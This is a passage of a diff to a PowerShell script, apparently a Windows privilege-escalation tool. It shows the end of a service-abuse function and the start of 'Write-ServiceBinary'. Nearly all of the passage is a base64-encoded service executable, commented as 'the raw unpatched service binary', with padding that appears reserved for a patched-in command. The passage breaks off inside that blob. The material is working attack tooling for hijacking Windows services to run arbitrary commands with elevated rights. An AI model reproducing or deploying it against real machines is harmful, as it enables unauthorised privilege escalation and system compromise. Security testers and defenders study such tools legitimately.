-join " && ") + $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name + $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ') $Out } } @@ -854,7 +1846,7 @@ function Write-ServiceBinary { [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] [String] $ServiceName, @@ -874,13 +1866,13 @@ function Write-ServiceBinary { $Command ) - begin { + BEGIN { # the raw unpatched service binary $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgA